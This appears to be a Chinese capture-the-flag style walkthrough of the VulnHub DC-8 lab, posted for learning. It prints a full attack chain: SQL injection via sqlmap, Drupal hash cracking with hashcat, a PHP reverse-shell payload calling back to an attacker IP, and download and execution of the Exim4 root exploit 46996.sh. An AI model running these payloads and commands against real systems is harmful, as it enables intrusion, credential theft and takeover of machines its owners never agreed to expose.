
靶机信息 靶机名称:DC-8 靶机来源:VulnHub 目标:获取 root 权限,找到最终 flag 难度:⭐⭐⭐⭐☆(中等偏难) 涉及技术:信息收集、SQL注入、hashcat 哈希破解、PHP 反弹 Shell、Exim4 SUID 提权
ifconfig
nmap -sn 192.168.168.0/24
nmap -A -p- 192.168.168.169
依旧输入 IP 跳域名,Kali 和本机都改一下 hosts:

# Kali
echo "192.168.168.169 wordy" >> /etc/hosts
# Windows
# C:\Windows\System32\drivers\etc\hosts
# 添加:192.168.168.169 wordy依旧老 CMS:

dirsearch -u http://wordy -x 404,403
-x 404,403的作用是排除「页面不存在」和「禁止访问」的结果,让输出更干净,不然一堆无用信息。

找到后台登录界面:http://wordy/user

找到一个有输入框的地方:

测了几个地方,这几个按钮的 URL 地址是:

http://wordy/?nid=1
http://wordy/?nid=2
http://wordy/?nid=3尝试在参数后加单引号测试:
http://wordy/?nid=3'报错了!说明可能存在 SQL 注入:

判断注入的最简单方式: 加单引号
'看是否报错,报错基本就是有注入点。
sqlmap -u "http://wordy/?nid=3" --dbs
跑出来了,继续找数据库里的账号密码:





在线的 cmd5 解密找不到,自己爆破一下试试:

先确认哈希类型,查询 hashcat 哈希表:
hashcat -m 7900 passwords.txt rockyou.txt
-m 7900对应的是 Drupal7 的哈希类型,不同 CMS 用的哈希算法不一样,要先确认类型再选对应的模式号。
破解出来了一个:
john / turtle

找到一个 PHP 富文本功能,可以直接写 PHP 代码:

先用 <?php phpinfo();?> 测试是否能执行:
需要先提交


能执行!说明可以写反弹 Shell。
<?php
$sock = fsockopen("192.168.168.128", 5566);
$proc = proc_open("/bin/sh -i", array(0=>$sock,1=>$sock, 2=>$sock), $pipes);
?>Kali 监听:
nc -lvnp 5566
升级为交互式终端:
python -c 'import pty;pty.spawn("/bin/bash")'用户目录什么都没有,去找提权方向:

find / -perm -u=s -type f 2>/dev/null
发现 exim4,查看版本:
exim4 --version
ai给出

searchsploit exim 4
查看脚本路径并复制到当前目录:
searchsploit -p 46996#查看
searchsploit -m 46996#复制
Kali 开启 HTTP 服务:
python3 -m http.server 8888靶机下载:
wget http://192.168.168.128:8888/46996.sh
当前目录无权限,切换到 /tmp:
cd /tmp
wget http://192.168.168.128:8888/46996.sh
chmod 777 46996.sh
./46996.sh
没有成功,查看源码让 AI 分析一下:
cat 46996.sh
再次尝试./46996.sh -m netcat
./46996.sh -m netcat
分析发现: 这个 exp 获得的 root 权限是临时的,时间过了权限就变回去了。不过看 flag 已经足够了。反弹 Shell 试了不行,理论上写个 SUID 再提权应该可以,这里就不展开了。
最终取得 flag:

信息收集(nmap + dirsearch)
↓
发现 nid 参数 → 单引号测试报错 → 确认 SQL 注入
↓
sqlmap 跑库 → 拿到哈希 → hashcat 破解 → john/turtle
↓
登录后台 → 发现 PHP 富文本 → 写入反弹 Shell
↓
nc 接收 shell → www-data
↓
SUID 发现 exim4 → searchsploit 找 exp → 46996.sh
↓
/tmp 下执行 → 临时 root → 读取 flag ✅工具 | 用途 |
|---|---|
nmap | 端口扫描、服务识别 |
dirsearch | Web 目录扫描(-x 过滤无效状态码) |
sqlmap | 自动化 SQL 注入 |
hashcat | GPU 加速哈希爆破 |
nc | 反弹 Shell 监听 |
searchsploit | 本地漏洞库搜索 |
python3 http.server | 临时 HTTP 文件传输 |
本文为 VulnHub DC-8 靶机学习笔记,所有操作均在本地搭建的靶场环境中完成,仅用于学习交流。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。